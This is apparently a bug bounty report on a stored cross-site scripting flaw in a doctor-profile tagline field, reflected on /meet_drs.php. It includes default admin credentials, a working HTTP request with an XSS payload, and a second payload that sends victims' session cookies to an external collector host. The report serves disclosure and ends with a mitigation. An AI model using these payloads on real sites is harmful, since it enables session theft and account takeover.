Summary:

Hi!

I hope you're doing well today!

I found it was possible to edit the tagline + found out that it is vulnerable to stored XSS vulnerability on /meet_drs.php. The tagline parameter was passed on from /drpanel/drapi/edit-dr.php. It is reflected in the source code without being filtered or escaped correctly on /meet_drs.php.

Note that the photoUrl parameter must be supplied in order to change the tagline.

Possible cause:

The developers thought that there was no way to change the path of the profile picture but forgot that invoking the API directly is still an option.

Impact:

I was able to execute javascript code on any doctor's behalf. Even more, I was also able to steal the sensitive session cookie as it is not an HTTPOnly cookie. This allowed me to successfully take over the account of the doctor.

Steps to reproduce:

1) Login using the default credentials: admin:admin:

2) Next, replicate the following request:

POST /drpanel/drapi/edit-dr.php HTTP/1.1
Host: {HOST}
Cookie: drps={SESS_COOKIE}
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

drid=4&name=xyz&bio=&bookable=0&photoUrl=/x&tagline=test"><img+src="x"+onerror="alert(document.domain)"

3) Finally, visit /meet_drs.php. A popup should be displayed with the document's domain:

We can elevate our privileges by easily taking over the doctor's account as cookies are not set to be HTTPOnly. To do so, we could put the following payload in the phone parameter to steal and send the cookies back to us:

test"><img+src="x"+onerror="location.href=`//ke2788xw51qjfem6bzxtg3pnxe35rwhk6.oastify.com/collector?cookies=${document.cookie}`"

Next, visit the endpoint again: /meet_drs.php

Upon visiting the URL (as the victim), we can see a hit with the cookies on our server:

Mitigation

I highly recommend encoding any user input and validating it before reflecting it in the response.

Kind regards,

0xblackbird